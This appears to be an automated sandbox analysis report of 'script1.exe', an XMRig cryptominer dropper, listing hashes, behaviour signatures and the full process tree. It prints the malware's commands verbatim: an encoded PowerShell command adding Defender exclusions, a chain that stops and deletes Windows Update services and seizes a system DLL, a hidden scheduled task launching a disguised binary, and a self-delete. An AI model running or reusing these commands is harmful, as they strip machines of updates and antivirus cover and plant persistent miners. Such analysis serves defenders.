General
Target

script1.exe

Filesize

7MB

Completed

19-05-2022 22:37

Task

behavioral2

Score
10/10
MD5

cc45f791667f3b9fb6281414f5325561

SHA1

df8b29bbc15712f928a61f6d0c8e045d823dce84

SHA256

dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

SHA256

f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

Malware Config
Signatures 19

Filter: none

Defense Evasion
Discovery
Impact
Persistence
  • Modifies security service
    reg.exe

    Tags

    TTPs

    Modify RegistryModify Existing Service

    Reported IOCs

    descriptioniocprocess
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0reg.exe
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1reg.exe
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInforeg.exe
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parametersreg.exe
    Key deleted\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Securityreg.exe
  • xmrig

    Description

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    Tags

  • XMRig Miner Payload

    Tags

    Reported IOCs

    resourceyara_rule
    behavioral2/memory/1304-195-0x0000000140000000-0x0000000140803000-memory.dmpxmrig
    behavioral2/memory/1304-229-0x000000014036DB84-mapping.dmpxmrig
    behavioral2/memory/1304-230-0x0000000140000000-0x0000000140803000-memory.dmpxmrig
    behavioral2/memory/1304-231-0x0000000140000000-0x0000000140803000-memory.dmpxmrig
    behavioral2/memory/1304-234-0x0000000140000000-0x0000000140803000-memory.dmpxmrig
  • Drops file in Drivers directory
    script1.exenshost.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\system32\drivers\etc\hostsscript1.exe
    File opened for modificationC:\Windows\system32\drivers\etc\hostsnshost.exe
  • Executes dropped EXE
    nshost.exe

    Reported IOCs

    pidprocess
    4940nshost.exe
  • Possible privilege escalation attempt
    icacls.exetakeown.exetakeown.exeicacls.exe

    Tags

    Reported IOCs

    pidprocess
    2000icacls.exe
    4504takeown.exe
    4564takeown.exe
    896icacls.exe
  • Stops running service(s)

    Tags

    TTPs

    Modify Existing ServiceService Stop
  • Checks computer location settings
    nshost.exescript1.exe

    Description

    Looks up country code configured in the registry, likely geofence.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nationnshost.exe
    Key value queried\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nationscript1.exe
  • Modifies file permissions
    icacls.exetakeown.exetakeown.exeicacls.exe

    Tags

    TTPs

    File Permissions Modification

    Reported IOCs

    pidprocess
    2000icacls.exe
    4504takeown.exe
    4564takeown.exe
    896icacls.exe
  • Suspicious use of NtSetInformationThreadHideFromDebugger
    conhost.exe

    Reported IOCs

    pidprocess
    1480conhost.exe
    1480conhost.exe
  • Suspicious use of SetThreadContext
    nshost.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 4940 set thread context of 14804940nshost.execonhost.exe
    PID 4940 set thread context of 13044940nshost.execonhost.exe
  • Launches sc.exe

    Description

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Creates scheduled task(s)
    schtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    1732schtasks.exe
  • Modifies registry key
    reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

    TTPs

    Modify Registry

    Reported IOCs

    pidprocess
    1224reg.exe
    8reg.exe
    4080reg.exe
    4252reg.exe
    5060reg.exe
    4800reg.exe
    4748reg.exe
    4192reg.exe
    1964reg.exe
    4988reg.exe
    2684reg.exe
    4792reg.exe
    4896reg.exe
    3984reg.exe
    1224reg.exe
    5008reg.exe
    4184reg.exe
    4768reg.exe
  • Suspicious behavior: EnumeratesProcesses
    powershell.exescript1.exepowershell.exenshost.execonhost.exe

    Reported IOCs

    pidprocess
    448powershell.exe
    448powershell.exe
    3404script1.exe
    3496powershell.exe
    3496powershell.exe
    4940nshost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
    1304conhost.exe
  • Suspicious behavior: LoadsDriver

    Reported IOCs

    pidprocess
    644
  • Suspicious use of AdjustPrivilegeToken
    powershell.exescript1.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exenshost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.execonhost.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege448powershell.exe
    Token: SeDebugPrivilege3404script1.exe
    Token: SeShutdownPrivilege3956powercfg.exe
    Token: SeCreatePagefilePrivilege3956powercfg.exe
    Token: SeShutdownPrivilege400powercfg.exe
    Token: SeCreatePagefilePrivilege400powercfg.exe
    Token: SeShutdownPrivilege4780powercfg.exe
    Token: SeCreatePagefilePrivilege4780powercfg.exe
    Token: SeShutdownPrivilege1656powercfg.exe
    Token: SeCreatePagefilePrivilege1656powercfg.exe
    Token: SeTakeOwnershipPrivilege4564takeown.exe
    Token: SeDebugPrivilege3496powershell.exe
    Token: SeDebugPrivilege4940nshost.exe
    Token: SeShutdownPrivilege2512powercfg.exe
    Token: SeCreatePagefilePrivilege2512powercfg.exe
    Token: SeShutdownPrivilege5056powercfg.exe
    Token: SeCreatePagefilePrivilege5056powercfg.exe
    Token: SeShutdownPrivilege1200powercfg.exe
    Token: SeCreatePagefilePrivilege1200powercfg.exe
    Token: SeShutdownPrivilege4608powercfg.exe
    Token: SeCreatePagefilePrivilege4608powercfg.exe
    Token: SeTakeOwnershipPrivilege4504takeown.exe
    Token: SeLockMemoryPrivilege1304conhost.exe
    Token: SeLockMemoryPrivilege1304conhost.exe
  • Suspicious use of WriteProcessMemory
    script1.execmd.execmd.execmd.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3404 wrote to memory of 13843404script1.execmd.exe
    PID 3404 wrote to memory of 13843404script1.execmd.exe
    PID 1384 wrote to memory of 4481384cmd.exepowershell.exe
    PID 1384 wrote to memory of 4481384cmd.exepowershell.exe
    PID 3404 wrote to memory of 43923404script1.execmd.exe
    PID 3404 wrote to memory of 43923404script1.execmd.exe
    PID 3404 wrote to memory of 12883404script1.execmd.exe
    PID 3404 wrote to memory of 12883404script1.execmd.exe
    PID 4392 wrote to memory of 32884392cmd.exesc.exe
    PID 4392 wrote to memory of 32884392cmd.exesc.exe
    PID 1288 wrote to memory of 39561288cmd.exepowercfg.exe
    PID 1288 wrote to memory of 39561288cmd.exepowercfg.exe
    PID 4392 wrote to memory of 30044392cmd.exesc.exe
    PID 4392 wrote to memory of 30044392cmd.exesc.exe
    PID 1288 wrote to memory of 4001288cmd.exepowercfg.exe
    PID 1288 wrote to memory of 4001288cmd.exepowercfg.exe
    PID 4392 wrote to memory of 6684392cmd.exesc.exe
    PID 4392 wrote to memory of 6684392cmd.exesc.exe
    PID 1288 wrote to memory of 47801288cmd.exepowercfg.exe
    PID 1288 wrote to memory of 47801288cmd.exepowercfg.exe
    PID 4392 wrote to memory of 18444392cmd.exesc.exe
    PID 4392 wrote to memory of 18444392cmd.exesc.exe
    PID 1288 wrote to memory of 16561288cmd.exepowercfg.exe
    PID 1288 wrote to memory of 16561288cmd.exepowercfg.exe
    PID 3404 wrote to memory of 24003404script1.execmd.exe
    PID 3404 wrote to memory of 24003404script1.execmd.exe
    PID 4392 wrote to memory of 42524392cmd.exesc.exe
    PID 4392 wrote to memory of 42524392cmd.exesc.exe
    PID 4392 wrote to memory of 50604392cmd.exereg.exe
    PID 4392 wrote to memory of 50604392cmd.exereg.exe
    PID 2400 wrote to memory of 17322400cmd.exeschtasks.exe
    PID 2400 wrote to memory of 17322400cmd.exeschtasks.exe
    PID 4392 wrote to memory of 12244392cmd.exereg.exe
    PID 4392 wrote to memory of 12244392cmd.exereg.exe
    PID 4392 wrote to memory of 49884392cmd.exereg.exe
    PID 4392 wrote to memory of 49884392cmd.exereg.exe
    PID 4392 wrote to memory of 84392cmd.exereg.exe
    PID 4392 wrote to memory of 84392cmd.exereg.exe
    PID 4392 wrote to memory of 48004392cmd.exereg.exe
    PID 4392 wrote to memory of 48004392cmd.exereg.exe
    PID 4392 wrote to memory of 45644392cmd.exetakeown.exe
    PID 4392 wrote to memory of 45644392cmd.exetakeown.exe
    PID 4392 wrote to memory of 8964392cmd.exeicacls.exe
    PID 4392 wrote to memory of 8964392cmd.exeicacls.exe
    PID 4392 wrote to memory of 26844392cmd.exereg.exe
    PID 4392 wrote to memory of 26844392cmd.exereg.exe
    PID 4392 wrote to memory of 47924392cmd.exereg.exe
    PID 4392 wrote to memory of 47924392cmd.exereg.exe
    PID 4392 wrote to memory of 48964392cmd.exereg.exe
    PID 4392 wrote to memory of 48964392cmd.exereg.exe
    PID 4392 wrote to memory of 40804392cmd.exereg.exe
    PID 4392 wrote to memory of 40804392cmd.exereg.exe
    PID 4392 wrote to memory of 43804392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 43804392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 40244392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 40244392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 19684392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 19684392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 30844392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 30844392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 18004392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 18004392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 14004392cmd.exeschtasks.exe
    PID 4392 wrote to memory of 14004392cmd.exeschtasks.exe
Processes 73
  • C:\Users\Admin\AppData\Local\Temp\script1.exe
    "C:\Users\Admin\AppData\Local\Temp\script1.exe"
    Drops file in Drivers directory
    Checks computer location settings
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:3404
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
      Suspicious use of WriteProcessMemory
      PID:1384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        PID:448
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\system32\sc.exe
        sc stop UsoSvc
        PID:3288
      • C:\Windows\system32\sc.exe
        sc stop WaaSMedicSvc
        PID:3004
      • C:\Windows\system32\sc.exe
        sc stop wuauserv
        PID:668
      • C:\Windows\system32\sc.exe
        sc stop bits
        PID:1844
      • C:\Windows\system32\sc.exe
        sc stop dosvc
        PID:4252
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        Modifies registry key
        PID:5060
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        Modifies registry key
        PID:1224
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        Modifies security service
        Modifies registry key
        PID:4988
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        Modifies registry key
        PID:8
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        Modifies registry key
        PID:4800
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        PID:4564
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        Possible privilege escalation attempt
        Modifies file permissions
        PID:896
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        Modifies registry key
        PID:2684
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        Modifies registry key
        PID:4792
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        Modifies registry key
        PID:4896
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        Modifies registry key
        PID:4080
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        PID:4380
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        PID:4024
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        PID:1968
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        PID:3084
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        PID:1800
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        PID:1400
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        PID:1852
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      Suspicious use of WriteProcessMemory
      PID:1288
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-ac 0
        Suspicious use of AdjustPrivilegeToken
        PID:3956
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-dc 0
        Suspicious use of AdjustPrivilegeToken
        PID:400
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-ac 0
        Suspicious use of AdjustPrivilegeToken
        PID:4780
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-dc 0
        Suspicious use of AdjustPrivilegeToken
        PID:1656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /tn "ServiceUpdateTaskMachine" /tr '^"C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe^"'
      Suspicious use of WriteProcessMemory
      PID:2400
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "ServiceUpdateTaskMachine" /tr '"C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe"'
        Creates scheduled task(s)
        PID:1732
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "ServiceUpdateTaskMachine"
      PID:2568
      • C:\Windows\system32\schtasks.exe
        schtasks /run /tn "ServiceUpdateTaskMachine"
        PID:4856
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\script1.exe"
      PID:1772
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        PID:3316
  • C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe
    C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe
    Drops file in Drivers directory
    Executes dropped EXE
    Checks computer location settings
    Suspicious use of SetThreadContext
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    PID:4940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
      PID:4724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        PID:3496
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      PID:4752
      • C:\Windows\system32\sc.exe
        sc stop UsoSvc
        PID:1692
      • C:\Windows\system32\sc.exe
        sc stop WaaSMedicSvc
        PID:5104
      • C:\Windows\system32\sc.exe
        sc stop wuauserv
        PID:560
      • C:\Windows\system32\sc.exe
        sc stop bits
        PID:1896
      • C:\Windows\system32\sc.exe
        sc stop dosvc
        PID:1124
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        Modifies registry key
        PID:4748
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        Modifies registry key
        PID:3984
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        PID:5048
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        PID:4840
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        PID:3020
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        PID:4040
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        PID:812
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        PID:2364
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        PID:2424
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        Modifies registry key
        PID:1224
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        Modifies registry key
        PID:4192
      • C:\Windows\system32\reg.exe
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        Modifies registry key
        PID:4252
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        Possible privilege escalation attempt
        Modifies file permissions
        PID:2000
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        PID:4504
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        Modifies registry key
        PID:5008
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        Modifies registry key
        PID:1964
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        Modifies registry key
        PID:4184
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        Modifies registry key
        PID:4768
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      PID:1180
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-ac 0
        Suspicious use of AdjustPrivilegeToken
        PID:2512
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-dc 0
        Suspicious use of AdjustPrivilegeToken
        PID:5056
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-ac 0
        Suspicious use of AdjustPrivilegeToken
        PID:1200
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-dc 0
        Suspicious use of AdjustPrivilegeToken
        PID:4608
    • C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1480
      • C:\Windows\System32\conhost.exe
        "C:\Windows\System32\conhost.exe" "elciakxgyodfgp"
        PID:4032
    • C:\Windows\System32\conhost.exe
